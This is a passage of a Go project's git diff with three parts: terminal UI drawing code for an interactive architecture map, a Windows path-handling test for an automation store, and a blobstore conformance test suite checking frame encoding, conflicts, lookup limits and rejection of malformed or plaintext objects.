m.drawHelp(c, g) + } + m.drawStatus(c, g) + return c.frame() +} + +// drawHeader draws the title, the subtitle when the terminal is wide enough, +// and one clickable tab per flow. +func (m *Model) drawHeader(c *canvas, g geom) { + head := m.icon(tokens.GActionPlan) + " " + m.data.Title + c.text(0, 0, head, colAccent, true) + x := cw(head) + 2 + if g.W >= 110 && m.data.Description != "" { + c.text(x, 0, m.data.Description, colDim, false) + x += cw(m.data.Description) + 2 + } + for i, f := range m.data.Flows { + name := f.Title + if g.compact { + if word, _, ok := strings.Cut(f.Title, " "); ok { + name = word + } + } + label := itoa(i+1) + " " + name + if m.flow == i { + c.text(x, 0, label, colAccent, true) + } else { + c.text(x, 0, label, colFg, false) + } + m.hits = append(m.hits, hit{rect: Rect{X: x, Y: 0, W: cw(label), H: 1}, kind: hitTab, arg: i}) + x += cw(label) + 2 + if x >= g.W { + return + } + } +} + +// drawEdges paints every arrow once, dimmed or lit by what is selected, and +// then the active flow step's arrow again in the accent colour with its +// message as the label. It answers the labels, which go down after the boxes. +func (m *Model) drawEdges(c *canvas, g geom) []*edgeLabel { + var labels []*edgeLabel + step, inFlow := m.activeStep() + stepEdge := Edge{} + if inFlow { + stepEdge, _ = m.edgeForStep(step) + } + focus := m.detail + if focus == "" { + focus = m.selected + } + offs := portOffsets(m.data, m.rects) + for i, e := range m.data.Edges { + if inFlow && e.ID == stepEdge.ID { + continue + } + touches := focus != "" && (e.From == focus || e.To == focus) + color := colMuted + if focus != "" { + color = colEdge + if touches { + color = colEdgeHi + } + } + showLabel := !inFlow && (touches || !g.compact) + labels = append(labels, m.drawEdge(c, m.rects[e.From], m.rects[e.To], offs[i][0], offs[i][1], e.Label, color, showLabel)) + } + if !inFlow { + return labels + } + // The active arrow travels the overview edge's ports when it follows one, + // from the end that matches the step's own direction. + i := -1 + for j, e := range m.data.Edges { + if e.ID == stepEdge.ID { + i = j + break + } + } + offA, offB := 0, 0 + if i >= 0 { + offA, offB = offs[i][0], offs[i][1] + if stepEdge.From != step.From { + offA, offB = offB, offA + } + } + // The active step's label goes first, so it wins the best spot. + active := m.drawEdge(c, m.rects[step.From], m.rects[step.To], offA, offB, + itoa(m.step+1)+". "+step.Message, colAccent, true) + return append([]*edgeLabel{active}, labels...) +} + +// drawNodes paints the boxes over the arrows: a rounded border in the kind's +// colour, the label inside it, and the short subtitle when there is room. +// The box an active step touches, and the one selected or open, draw louder. +func (m *Model) drawNodes(c *canvas, g geom) { + step, inFlow := m.activeStep() + for _, n := range m.data.Nodes { + r := m.rects[n.ID] + isActive := inFlow && (step.From == n.ID || step.To == n.ID) + isSel := m.selected == n.ID || m.detail == n.ID + color := kindColor[n.Kind] + if isActive { + color = colAccent + } + // Blank the inside first: arrows run under boxes, never through them. + c.fill(r) + m.drawBox(c, r, color, isSel) + if !isActive && isSel { + color = colEdgeHi + } + label := fitRune(n.Label, r.W-4) + c.text(r.X+2, r.Y+1, label, color, isActive || isSel) + if !g.compact && n.Short != "" && r.H >= 4 { + c.text(r.X+2, r.Y+2, fitRune(n.Short, r.W-4), colDim, false) + } + } +} + +// drawBox keeps the shared rounded frame and adds weight to the box being read. +func (m *Model) drawBox(c *canvas, r Rect, color string, selected bool) { + corners := [4]rune{m.mark(tokens.GFrameTopLeft), m.mark(tokens.GFrameTopRight), m.mark(tokens.GFrameBottomLeft), m.mark(tokens.GFrameBottomRight)} + horiz, vert := m.mark(tokens.GFrameEdge), m.mark(tokens.GFrameSide) + if r.W < 2 || r.H < 2 { + return + } + c.put(r.X, r.Y, corners[0], color, selected) + c.put(r.X+r.W-1, r.Y, corners[1], color, selected) + c.put(r.X, r.Y+r.H-1, corners[2], color, selected) + c.put(r.X+r.W-1, r.Y+r.H-1, corners[3], color, selected) + c.hline(r.Y, r.X+1, r.X+r.W-2, horiz, color, selected) + c.hline(r.Y+r.H-1, r.X+1, r.X+r.W-2, horiz, color, selected) + for y := r.Y + 1; y < r.Y+r.H-1; y++ { + c.put(r.X, y, vert, color, selected) + c.put(r.X+r.W-1, y, vert, color, selected) + } +} + +// fitRune cuts s to at most n characters. +func fitRune(s string, n int) string { + if n < 1 { + return "" + } + r := []rune(s) + if len(r) <= n { + return s + } + return string(r[:n]) +} + +// drawFlowPanel draws the step-through story at the bottom of the screen: a +// rule, then the prev and next click targets, then what is happening now. +func (m *Model) drawFlowPanel(c *canvas, g geom) { + f := m.data.Flows[m.flow] + s := f.Steps[m.step] + top := g.H - 1 - g.flowH + c.fill(Rect{X: 0, Y: top, W: g.W, H: g.flowH}) + c.hline(top, 0, g.W-1, m.mark(tokens.GFrameEdge), colAccent, false) + row := top + 1 + prev := m.icon(tokens.GMapLeft) + " prev" + c.text(1, row, prev, colAccent, false) + m.hits = append(m.hits, hit{rect: Rect{X: 1, Y: row, W: cw(prev), H: 1}, kind: hitPrev}) + next := "next " + m.icon(tokens.GQueuePill) + c.text(g.W-1-cw(next), row, next, colAccent, false) + m.hits = append(m.hits, hit{rect: Rect{X: g.W - 1 - cw(next), Y: row, W: cw(next), H: 1}, kind: hitNext}) + + // The story's first line names where the flow stands: title, step number, + // one dot per step, and a marker while it plays itself. + x := 1 + put := func(s, fg string, bold bool) { + if x >= g.W-1 { + return + } + s = fitRune(s, g.W-1-x) + c.text(x, row+1, s, fg, bold) + x += cw(s) + } + put(f.Title, colAccent, true) + put(" step "+itoa(m.step+1)+"/"+itoa(len(f.Steps)), colDim, false) + dots := make([]string, len(f.Steps)) + for i := range f.Steps { + switch { + case i == m.step: + dots[i] = m.icon(tokens.GStepDone) + case i < m.step: + dots[i] = m.icon(tokens.GSettled) + default: + dots[i] = m.icon(tokens.GStepPending) + } + } + put(strings.Join(dots, ""), colAccent, false) + if m.playing { + put(" "+m.icon(tokens.GQueuePill)+" playing", kindColor[KindGo], false) + } + + // Then what this step sends, wrapped, and why — when there is room. + width := g.W - 2 + body := m.nodeLabel(s.From) + " " + m.icon(tokens.GTarget) + " " + m.nodeLabel(s.To) + ": " + s.Message + lines := wrapText(body, width) + line := row + 2 + for i, l := range lines { + if line+i > g.H-2 { + break + } + if i == 0 { + prefix := m.nodeLabel(s.From) + " " + m.icon(tokens.GTarget) + " " + m.nodeLabel(s.To) + ": " + c.text(1, line+i, prefix, colFg, true) + c.text(1+len(prefix), line+i, strings.TrimPrefix(l, prefix), colFg, false) + continue + } + c.text(1, line+i, l, colFg, false) + } + if s.Note != "" && !g.compact { + if y := line + len(lines); y <= g.H-2 { + c.text(1, y, s.Note, colMuted, false) + } + } +} + +// drawDetail draws the pane about one part: what it does, its files, and what +// it talks to. Wide terminals open it beside the map; narrow ones cover it. +func (m *Model) drawDetail(c *canvas, g geom) { + n := m.node(m.detail) + if n == nil { + return + } + w, x := g.W, 0 + if g.side { + w, x = sidePaneW, g.W-sidePaneW + } + r := Rect{X: x, Y: 1, W: w, H: g.mapH} + c.fill(r) + m.drawBox(c, r, kindColor[n.Kind], false) + title := " " + n.Label + " " + c.text(r.X+1, r.Y, fitRune(title, r.W-2), kindColor[n.Kind], false) + foot := " esc close " + c.text(r.X+r.W-1-cw(foot), r.Y+r.H-1, foot, colMuted, false) + + inner := r.W - 4 + y := r.Y + 1 + // line writes one row of the pane and answers whether rows remain. + line := func(s, fg string, bold bool) bool { + if y > r.Y+r.H-2 { + return false + } + c.text(r.X+2, y, fitRune(s, inner), fg, bold) + y++ + return true + } + lines := func(s, fg string, bold bool) bool { + for _, l := range wrapText(s, inner) { + if !line(l, fg, bold) { + return false + } + } + return true + } + if !line(kindName[n.Kind], kindColor[n.Kind], false) { + return + } + if !line("", "", false) || !lines(n.Summary, colFg, false) { + return + } + for _, d := range n.Details { + if !lines(m.icon(tokens.GProseBullet)+" "+d, colFg, false) { + return + } + } + if len(n.Files) > 0 { + if !line("", "", false) || !line("Files", colAccent, true) { + return + } + for _, f := range n.Files { + if !line(f.Path, kindColor[KindSpec], false) { + return + } + if len(f.Symbols) > 0 && !line(" "+strings.Join(f.Symbols, ", "), colMuted, false) { + return + } + if f.Note != "" && !line(" "+f.Note, colDim, false) { + return + } + } + } + out, in := m.edgesOf(n.ID) + if len(out) == 0 && len(in) == 0 { + return + } + if !line("", "", false) || !line("Talks to", colAccent, true) { + return + } + talk := func(arrow, other string, e Edge) bool { + text := arrow + " " + m.nodeLabel(other) + " " + e.Label + if e.Detail != "" { + text += " — " + e.Detail + } + return lines(text, colFg, false) + } + for _, e := range out { + if !talk(m.icon(tokens.GTarget), e.To, e) { + return + } + } + for _, e := range in { + if !talk(m.icon(tokens.GMapLeft), e.From, e) { + return + } + } +} + +// drawHelp draws the keys and the colour legend over everything else. +func (m *Model) drawHelp(c *canvas, g geom) { + w, h := 64, 24 + if g.W-4 < w { + w = g.W - 4 + } + if g.H-2 < h { + h = g.H - 2 + } + r := Rect{X: max(0, (g.W-w)/2), Y: max(0, (g.H-h)/2), W: w, H: h} + c.fill(r) + m.drawBox(c, r, colAccent, false) + title := " help " + m.icon(tokens.GSeparator) + " legend " + c.text(r.X+(r.W-cw(title))/2, r.Y, title, colAccent, false) + foot := " ? or esc closes " + c.text(r.X+(r.W-cw(foot))/2, r.Y+r.H-1, foot, colMuted, false) + + inner := r.W - 4 + y := r.Y + 1 + line := func(s, fg string, bold bool) bool { + if y > r.Y+r.H-2 { + return false + } + c.text(r.X+2, y, fitRune(s, inner), fg, bold) + y++ + return true + } + if !line("Keys & mouse", colFg, true) { + return + } + for _, k := range []struct{ key, what string }{ + {"drag a box", "move it; arrows follow"}, + {"click a box", "open its detail pane"}, + {"tab / S-tab", "select next / previous box"}, + {"enter", "open detail for selection"}, + {"1-" + itoa(len(m.data.Flows)) + " / f", "open a flow / cycle flows"}, + {"← → h l", "step the flow (or click prev/next)"}, + {"p / space", "play / pause the flow"}, + {"0 / esc", "back to overview / close pane"}, + {"?", "toggle this help"}, + {"q / ctrl+c", "quit and restore the terminal"}, + } { + pad := k.key + strings.Repeat(" ", max(0, 14-len([]rune(k.key)))) + if !line(pad, colAccent, true) { + return + } + c.text(r.X+2+len([]rune(pad)), y-1, k.what, colFg, false) + } + if !line("", "", false) || !line("Legend", colFg, true) { + return + } + for _, k := range []Kind{KindMachine, KindGo, KindService, KindEngine, KindSpec} { + if !line(m.icon(tokens.GActionWork)+" "+kindName[k], kindColor[k], false) { + return + } + } + line(m.icon(tokens.GFrameEdge)+m.icon(tokens.GQueuePill)+" active flow step", colAccent, false) + line(m.icon(tokens.GFrameEdge)+m.icon(tokens.GQueuePill)+" edges of the selected box", colEdgeHi, false) +} + +// drawStatus draws the one hint line at the bottom. +func (m *Model) drawStatus(c *canvas, g geom) { + separator := " " + m.icon(tokens.GSeparator) + " " + hints := strings.Join([]string{"drag boxes", "click/enter details", "tab select", "1-" + itoa(len(m.data.Flows)) + " flows", "? help", "q quit"}, separator) + if m.flow >= 0 { + hints = strings.Join([]string{"←/→ step", "p play", "0 overview", "tab select", "? help", "q quit"}, separator) + } + if g.W < cw(hints)+2 { + hints = fitRune(hints, max(0, g.W-3)) + m.icon(tokens.GEllipsis) + } + c.text(0, g.H-1, hints, colMuted, false) +} + +// node is the node with an id, or nil. +func (m *Model) node(id string) *Node { + for i := range m.data.Nodes { + if m.data.Nodes[i].ID == id { + return &m.data.Nodes[i] + } + } + return nil +} + +// nodeLabel is a node's title, or its id when there is no node — a flow step +// always names real nodes, and data_test.go holds that line. +func (m *Model) nodeLabel(id string) string { + if n := m.node(id); n != nil { + return n.Label + } + return id +} + +// edgesOf answers the edges leaving and entering one node, in data order. +func (m *Model) edgesOf(id string) (out, in []Edge) { + for _, e := range m.data.Edges { + switch { + case e.From == id: + out = append(out, e) + case e.To == id: + in = append(in, e) + } + } + return out, in +} + +// itoa is strconv.Itoa spelled locally so the drawing files need no import. +func itoa(v int) string { + if v == 0 { + return "0" + } + neg := v < 0 + if neg { + v = -v + } + var b [20]byte + i := len(b) + for v > 0 { + i-- + b[i] = byte('0' + v%10) + v /= 10 + } + if neg { + i-- + b[i] = '-' + } + return string(b[i:]) +} diff --git a/internal/automation/store_windows_test.go b/internal/automation/store_windows_test.go new file mode 100644 index 0000000000..f0f7efefd5 --- /dev/null +++ b/internal/automation/store_windows_test.go @@ -0,0 +1,38 @@ +//go:build windows + +package automation + +import ( + "path/filepath" + "testing" + "time" +) + +// N2 writes and reopens an automation in a native Windows folder whose spaces, +// Unicode, fragment and percent characters must remain part of the filename. +func TestWindowsAutomationStoreNativePath(t *testing.T) { + root := filepath.Join(t.TempDir(), "dir with space é", "automations #%25") + s, err := Open(root) + if err != nil { + t.Fatal(err) + } + defer func() { + if s != nil { + _ = s.Close() + } + }() + item, err := s.Create(Automation{Title: "héllo", Workspace: t.TempDir(), Schedule: Schedule{At: time.Now().Add(time.Hour)}, Action: Action{Say: "hello"}}) + if err != nil { + t.Fatal(err) + } + if err := s.Close(); err != nil { + t.Fatal(err) + } + s, err = Open(root) + if err != nil { + t.Fatal(err) + } + if got, err := s.Get(item.ID); err != nil || got.Title != "héllo" { + t.Fatalf("automation = %+v, %v", got, err) + } +} diff --git a/internal/blobstore/blobstoretest/suite.go b/internal/blobstore/blobstoretest/suite.go new file mode 100644 index 0000000000..0c894d9eab --- /dev/null +++ b/internal/blobstore/blobstoretest/suite.go @@ -0,0 +1,499 @@ +// Package blobstoretest is the conformance suite every blobstore.Store must +// pass. The fake and each real store run the same cases, so the fake can stand +// in for any of them in other packages' tests without changing what they prove. +package blobstoretest + +import ( + "context" + "crypto/sha256" + "encoding/binary" + "encoding/hex" + "encoding/json" + "errors" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" +) + +// Factory returns a fresh, empty store for one test. +type Factory func(t *testing.T) blobstore.Store + +// Run runs the whole suite against stores made by factory. +func Run(t *testing.T, factory Factory) { + cases := map[string]func(*testing.T, blobstore.Store){ + "round trip": roundTrip, + "put answers frame id": putAnswersFrameID, + "idempotent put": idempotentPut, + "same object two frames": sameObjectTwoFrames, + "conflict": conflict, + "ConflictStoresNothing": conflictStoresNone, + "FullLeavesNoPointer": fullLeavesNoPointer, + "not found": notFound, + "bad rid": badRID, + "GetManyInOrder": getManyInOrder, + "GetManyStopsAtAbsent": getManyStopsAtAbsent, + "GetManyFirstAbsent": getManyFirstAbsent, + "GetManyFitsOneFrame": getManyFitsOneFrame, + "GetManyRefusals": getManyRefusals, + "has order": hasOrder, + "has bound": hasBound, + "bad frames": badFrames, + "RefusesPlaintext": plaintextRefused, + "vault object accepted": vaultObjectAccepted, + "GetFrame round trip": getFrameRoundTrip, + "GetFrame refusals": getFrameRefusals, + "Locate answers offsets": locateMatchesDecode, + "Locate keeps first": locateKeepsFirst, + "Locate refusals": locateRefusals, + } + for name, run := range cases { + t.Run(name, func(t *testing.T) { run(t, factory(t)) }) + } +} + +var ctx = context.Background() + +func roundTrip(t *testing.T, s blobstore.Store) { + a, b := object("a"), object("b") + put(t, s, frameOf(t, a, b)) + for _, o := range []blobstore.Object{a, b} { + got, err := s.Get(ctx, o.RID) + if err != nil || string(got) != string(o.Bytes) { + t.Fatalf("Get(%s) = %q, %v; want %q", o.RID[:8], got, err, o.Bytes) + } + } +} + +func putAnswersFrameID(t *testing.T, s blobstore.Store) { + frame := frameOf(t, object("a")) + if got := put(t, s, frame); got != blobstore.IDOf(frame) { + t.Fatalf("PutFrame id = %s, want %s", got, blobstore.IDOf(frame)) + } +} + +func idempotentPut(t *testing.T, s blobstore.Store) { + frame := frameOf(t, object("a"), object("b")) + first := put(t, s, frame) + if second := put(t, s, frame); second != first { + t.Fatalf("second put answered %s, first %s", second, first) + } +} + +func sameObjectTwoFrames(t *testing.T, s blobstore.Store) { + a := object("a") + put(t, s, frameOf(t, a)) + put(t, s, frameOf(t, a, object("b"))) + if got, err := s.Get(ctx, a.RID); err != nil || string(got) != string(a.Bytes) { + t.Fatalf("Get after re-put = %q, %v", got, err) + } +} + +func conflict(t *testing.T, s blobstore.Store) { + a := object("a") + put(t, s, frameOf(t, a)) + other := blobstore.Object{RID: a.RID, Bytes: sealed("different")} + if _, err := s.PutFrame(ctx, frameOf(t, other)); !errors.Is(err, blobstore.ErrConflict) { + t.Fatalf("PutFrame with the same rid and other bytes = %v, want ErrConflict", err) + } + if got, _ := s.Get(ctx, a.RID); string(got) != string(a.Bytes) { + t.Fatalf("a conflicting put changed the stored bytes to %q", got) + } +} + +// A frame is all or nothing: one conflicting object must keep the frame's +// other objects out, or a refused frame would still leave part of itself behind. +func conflictStoresNone(t *testing.T, s blobstore.Store) { + a, fresh := object("a"), object("fresh") + put(t, s, frameOf(t, a)) + other := blobstore.Object{RID: a.RID, Bytes: sealed("different")} + if _, err := s.PutFrame(ctx, frameOf(t, fresh, other)); !errors.Is(err, blobstore.ErrConflict) { + t.Fatalf("PutFrame = %v, want ErrConflict", err) + } + if _, err := s.Get(ctx, fresh.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("Get of an object from a refused frame = %v, want ErrNotFound", err) + } +} + +// failer is what a fake offers so the suite can make it report a full store; +// a real store cannot be filled on demand and has its own test instead. +type failer interface{ FailAfter(n int, err error) } + +func fullLeavesNoPointer(t *testing.T, s blobstore.Store) { + f, ok := s.(failer) + if !ok { + t.Skip("store cannot be told to fail; its own test covers a full store") + } + a := object("a") + f.FailAfter(0, blobstore.ErrFull) + if _, err := s.PutFrame(ctx, frameOf(t, a)); !errors.Is(err, blobstore.ErrFull) { + t.Fatalf("PutFrame on a full store = %v, want ErrFull", err) + } + if _, err := s.Get(ctx, a.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("Get after a full store refused the put = %v, want ErrNotFound", err) + } + put(t, s, frameOf(t, a)) // the failure was one call; the store carries on +} + +func notFound(t *testing.T, s blobstore.Store) { + if _, err := s.Get(ctx, object("absent").RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("Get of an absent object = %v, want ErrNotFound", err) + } +} + +func badRID(t *testing.T, s blobstore.Store) { + for _, rid := range []string{"", "abc", strings.Repeat("A", 64), strings.Repeat("g", 64), "../" + strings.Repeat("a", 61)} { + if _, err := s.Get(ctx, rid); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("Get(%q) = %v, want ErrBadRID", rid, err) + } + if _, err := s.Has(ctx, []string{rid}); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("Has(%q) = %v, want ErrBadRID", rid, err) + } + } +} + +// getManyInOrder: every object asked for comes back in the order asked, which is +// not the order the store holds them in. +func getManyInOrder(t *testing.T, s blobstore.Store) { + a, b, c := object("a"), object("b"), object("c") + put(t, s, frameOf(t, a, b)) + put(t, s, frameOf(t, c)) + got, err := s.GetMany(ctx, []string{c.RID, a.RID, b.RID}) + must(t, err) + wantObjects(t, got, c, a, b) +} + +// getManyStopsAtAbsent: an absent object ends the answer, with what came before +// it, so the caller learns which rid is missing by asking for the rest. +func getManyStopsAtAbsent(t *testing.T, s blobstore.Store) { + a, b := object("a"), object("b") + put(t, s, frameOf(t, a, b)) + got, err := s.GetMany(ctx, []string{a.RID, object("absent").RID, b.RID}) + must(t, err) + wantObjects(t, got, a) +} + +func getManyFirstAbsent(t *testing.T, s blobstore.Store) { + if _, err := s.GetMany(ctx, []string{object("absent").RID, object("a").RID}); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("GetMany with the first object absent = %v, want ErrNotFound", err) + } +} + +// getManyFitsOneFrame: the answer is about a frame's worth of bytes, so a caller +// that asked for more asks again, and the pieces add up to what it asked for. +func getManyFitsOneFrame(t *testing.T, s blobstore.Store) { + big := make([]blobstore.Object, 4) + rids := make([]string, len(big)) + for i := range big { + big[i] = blobstore.Object{RID: object(string(rune('p' + i))).RID, Bytes: sealed(strings.Repeat("x", blobstore.TargetFrame/3))} + rids[i] = big[i].RID + } + put(t, s, frameOf(t, big...)) + first, err := s.GetMany(ctx, rids) + must(t, err) + if len(first) == 0 || len(first) >= len(big) { + t.Fatalf("GetMany of four thirds of a frame answered %d objects, want a proper prefix", len(first)) + } + rest, err := s.GetMany(ctx, rids[len(first):]) + must(t, err) + got := append(first, rest...) + wantObjects(t, got, big[:len(got)]...) +} + +func getManyRefusals(t *testing.T, s blobstore.Store) { + rids := make([]string, blobstore.MaxGetMany+1) + for i := range rids { + rids[i] = object(strings.Repeat("y", i+1)).RID + } + if _, err := s.GetMany(ctx, rids); !errors.Is(err, blobstore.ErrTooMany) { + t.Errorf("GetMany of MaxGetMany+1 ids = %v, want ErrTooMany", err) + } + if _, err := s.GetMany(ctx, []string{object("a").RID, "abc"}); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("GetMany with a bad id = %v, want ErrBadRID", err) + } + a := object("a").RID + if _, err := s.GetMany(ctx, []string{a, a}); !errors.Is(err, blobstore.ErrBadRID) { + t.Errorf("GetMany with an id twice = %v, want ErrBadRID", err) + } + if got, err := s.GetMany(ctx, nil); err != nil || len(got) != 0 { + t.Errorf("GetMany of no ids = %v, %v; want empty, nil", got, err) + } +} + +func wantObjects(t *testing.T, got []blobstore.Object, want ...blobstore.Object) { + t.Helper() + if len(got) != len(want) { + t.Fatalf("GetMany answered %d objects, want %d", len(got), len(want)) + } + for i := range want { + if got[i].RID != want[i].RID || string(got[i].Bytes) != string(want[i].Bytes) { + t.Fatalf("object %d is %s, want %s", i, got[i].RID[:8], want[i].RID[:8]) + } + } +} + +func must(t *testing.T, err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } +} + +func hasOrder(t *testing.T, s blobstore.Store) { + a, b, c := object("a"), object("b"), object("c") + put(t, s, frameOf(t, a, c)) + got, err := s.Has(ctx, []string{c.RID, b.RID, a.RID, c.RID}) + if err != nil { + t.Fatal(err) + } + want := []bool{true, false, true, true} + if len(got) != len(want) { + t.Fatalf("Has answered %d values, want %d", len(got), len(want)) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("Has = %v, want %v", got, want) + } + } +} + +func hasBound(t *testing.T, s blobstore.Store) { + rids := make([]string, blobstore.MaxHas) + for i := range rids { + rids[i] = object(string(rune('a'+i%26)) + strings.Repeat("x", i)).RID + } + if got, err := s.Has(ctx, rids); err != nil || len(got) != blobstore.MaxHas { + t.Fatalf("Has of MaxHas ids = %d values, %v; want %d, nil", len(got), err, blobstore.MaxHas) + } + if _, err := s.Has(ctx, append(rids, rids[0])); !errors.Is(err, blobstore.ErrTooMany) { + t.Fatalf("Has of MaxHas+1 ids = %v, want ErrTooMany", err) + } + if got, err := s.Has(ctx, nil); err != nil || len(got) != 0 { + t.Fatalf("Has of no ids = %v, %v; want empty, nil", got, err) + } +} + +// badFrames gives every rule of Decode its own row. Each frame is valid except +// for that one rule, so a row that fails to fail proves that rule is unchecked. +func badFrames(t *testing.T, s blobstore.Store) { + a, b := object("a"), object("b") + for name, frame := range badFrameTable(a, b) { + t.Run(name, func(t *testing.T) { + if _, err := s.PutFrame(ctx, frame); !errors.Is(err, blobstore.ErrBadFrame) { + t.Fatalf("PutFrame = %v, want ErrBadFrame", err) + } + if _, err := s.Get(ctx, a.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("a refused frame left an object behind: Get = %v", err) + } + }) + } +} + +func badFrameTable(a, b blobstore.Object) map[string][]byte { + good := func(refs ...blobstore.ObjectRef) []byte { return frameWith(header(refs...), a.Bytes, b.Bytes) } + ref := func(o blobstore.Object, off uint64) blobstore.ObjectRef { + return blobstore.ObjectRef{RID: o.RID, Off: off, Len: uint32(len(o.Bytes))} + } + la := uint64(len(a.Bytes)) + pad := make([]byte, blobstore.MaxFrame) + return map[string][]byte{ + "empty": nil, + "shorter than the prefix": []byte("AGEF\x01\x00"), + "wrong magic": append([]byte("XXXX\x01"), good(ref(a, 0), ref(b, la))[5:]...), + "wrong magic version": append([]byte("AGEF\x02"), good(ref(a, 0), ref(b, la))[5:]...), + "header longer than limit": binary.LittleEndian.AppendUint32([]byte("AGEF\x01"), blobstore.MaxHeader+1), + "header runs past frame": binary.LittleEndian.AppendUint32([]byte("AGEF\x01"), 100), + "header not json": frameWith([]byte("not json"), a.Bytes), + "header version 2": frameWith(mustJSON(blobstore.Header{V: 2, Objects: []blobstore.ObjectRef{ref(a, 0)}}), a.Bytes), + "cell key id too short": frameWith(mustJSON(blobstore.Header{V: 1, CellKeyID: "abc", Objects: []blobstore.ObjectRef{ref(a, 0)}}), a.Bytes), + "cell key id uppercase": frameWith(mustJSON(blobstore.Header{V: 1, CellKeyID: strings.Repeat("A", 32), Objects: []blobstore.ObjectRef{ref(a, 0)}}), a.Bytes), + "cell key id empty": frameWith(mustJSON(blobstore.Header{V: 1, Objects: []blobstore.ObjectRef{ref(a, 0)}}), a.Bytes), + "header version missing": frameWith([]byte(`{"objects":[]}`), a.Bytes), + "no objects": frameWith(mustJSON(blobstore.Header{V: 1, Objects: []blobstore.ObjectRef{}}), nil), + "first offset not zero": frameWith(header(ref(a, 1)), []byte("x"), a.Bytes), + "gap between objects": frameWith(header(ref(a, 0), ref(b, la+1)), a.Bytes, []byte("x"), b.Bytes), + "objects overlap": frameWith(header(ref(a, 0), ref(b, la-1)), a.Bytes, b.Bytes), + "object past payload": frameWith(header(ref(a, 0), ref(b, la)), a.Bytes), + "payload has extra bytes": frameWith(header(ref(a, 0)), a.Bytes, b.Bytes), + "rid too short": frameWith(header(blobstore.ObjectRef{RID: "abc", Len: uint32(len(a.Bytes))}), a.Bytes), + "rid uppercase": frameWith(header(blobstore.ObjectRef{RID: strings.ToUpper(a.RID), Len: uint32(len(a.Bytes))}), a.Bytes), + "rid not hex": frameWith(header(blobstore.ObjectRef{RID: strings.Repeat("z", 64), Len: uint32(len(a.Bytes))}), a.Bytes), + "duplicate rid": frameWith(header(ref(a, 0), blobstore.ObjectRef{RID: a.RID, Off: la, Len: uint32(len(a.Bytes))}), a.Bytes, a.Bytes), + "object is plaintext": frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: 5}), []byte("hello")), + "object has empty body": frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: 0}), nil), + "object magic version": frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: 6}), []byte("AGEO\x02x")), + "object magic cut short": frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: 4}), []byte("AGEO")), + "second object is plain": frameWith(header(ref(a, 0), blobstore.ObjectRef{RID: b.RID, Off: la, Len: 5}), a.Bytes, []byte("plain")), + "frame larger than limit": oversized(a, pad), + } +} + +// oversized builds a frame whose only fault is its total size: one valid +// object padded past MaxFrame. +func oversized(a blobstore.Object, pad []byte) []byte { + body := append(append([]byte(nil), a.Bytes...), pad...) + return frameWith(header(blobstore.ObjectRef{RID: a.RID, Len: uint32(len(body))}), body) +} + +// L6: a store must never hold bytes it cannot tell are sealed. +func plaintextRefused(t *testing.T, s blobstore.Store) { + plain := blobstore.Object{RID: hash("plain"), Bytes: []byte("just some readable text")} + frame := frameWith(header(blobstore.ObjectRef{RID: plain.RID, Len: uint32(len(plain.Bytes))}), plain.Bytes) + if _, err := s.PutFrame(ctx, frame); !errors.Is(err, blobstore.ErrBadFrame) { + t.Fatalf("PutFrame of a plaintext object = %v, want ErrBadFrame", err) + } + if _, err := s.Get(ctx, plain.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("plaintext object was stored: Get = %v", err) + } +} + +func vaultObjectAccepted(t *testing.T, s blobstore.Store) { + v := blobstore.Object{RID: hash("vault"), Bytes: []byte("AGEV\x01envelope")} + put(t, s, frameOf(t, v)) + if got, err := s.Get(ctx, v.RID); err != nil || string(got) != string(v.Bytes) { + t.Fatalf("Get of a vault object = %q, %v", got, err) + } +} + +func put(t *testing.T, s blobstore.Store, frame []byte) blobstore.FrameID { + t.Helper() + id, err := s.PutFrame(ctx, frame) + if err != nil { + t.Fatalf("PutFrame: %v", err) + } + return id +} + +// MakeFrameOf is frameOf, exported likewise. +func frameOf(t *testing.T, objects ...blobstore.Object) []byte { + t.Helper() + frame, err := blobstore.Encode(strings.Repeat("0", 32), objects) + if err != nil { + t.Fatalf("Encode: %v", err) + } + return frame +} + +// object makes a sealed-looking object whose id is the hash of its name. +func object(name string) blobstore.Object { + return blobstore.Object{RID: hash(name), Bytes: sealed(name)} +} + +func sealed(body string) []byte { return append([]byte("AGEO\x01"), body...) } + +func hash(s string) string { + sum := sha256.Sum256([]byte(s)) + return hex.EncodeToString(sum[:]) +} + +func header(refs ...blobstore.ObjectRef) []byte { + return mustJSON(blobstore.Header{V: 1, CellKeyID: strings.Repeat("0", 32), Objects: refs}) +} + +func mustJSON(v any) []byte { + b, err := json.Marshal(v) + if err != nil { + panic(err) + } + return b +} + +// frameWith assembles a frame by hand so a case can break exactly one rule, +// which Encode would refuse to do. +func frameWith(header []byte, payload ...[]byte) []byte { + out := binary.LittleEndian.AppendUint32([]byte("AGEF\x01"), uint32(len(header))) + out = append(out, header...) + for _, p := range payload { + out = append(out, p...) + } + return out +} + +// getFrameRoundTrip: GetFrame answers the exact bytes of a frame that was put. +func getFrameRoundTrip(t *testing.T, s blobstore.Store) { + frame := frameOf(t, object("a"), object("b")) + id := put(t, s, frame) + got, err := s.GetFrame(ctx, id) + if err != nil || string(got) != string(frame) { + t.Fatalf("GetFrame = %d bytes, %v; want the %d put", len(got), err, len(frame)) + } +} + +// getFrameRefusals: a well-formed id that was never put is ErrNotFound, and an +// id that could never name a frame is ErrBadRID, as Get refuses its bad rids. +func getFrameRefusals(t *testing.T, s blobstore.Store) { + if _, err := s.GetFrame(ctx, hash("absent frame")); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("GetFrame of an absent frame = %v, want ErrNotFound", err) + } + for _, id := range []string{"", "abc", strings.Repeat("A", 64), "../" + strings.Repeat("a", 61)} { + if _, err := s.GetFrame(ctx, id); !errors.Is(err, 